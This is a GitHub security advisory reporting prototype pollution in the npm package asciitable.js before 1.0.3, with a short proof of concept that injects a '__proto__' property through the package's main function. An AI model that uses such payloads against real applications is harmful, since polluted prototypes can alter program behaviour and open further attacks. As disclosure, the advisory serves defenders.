GitHub Advisory Database
GHSA-5pxj-mhwj-x5gv
Prototype Pollution in asciitable.js
Details
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.
PoC
var a = require("asciitable.js");
var b = JSON.parse('{"__proto__":{"test":123}}');
a({},b);
console.log({}.test)
Affected packages
| Ecosystem | Package | Affected versions |
|---|---|---|
| npm | asciitable.js | All versions before 1.0.3 (fixed in 1.0.3) |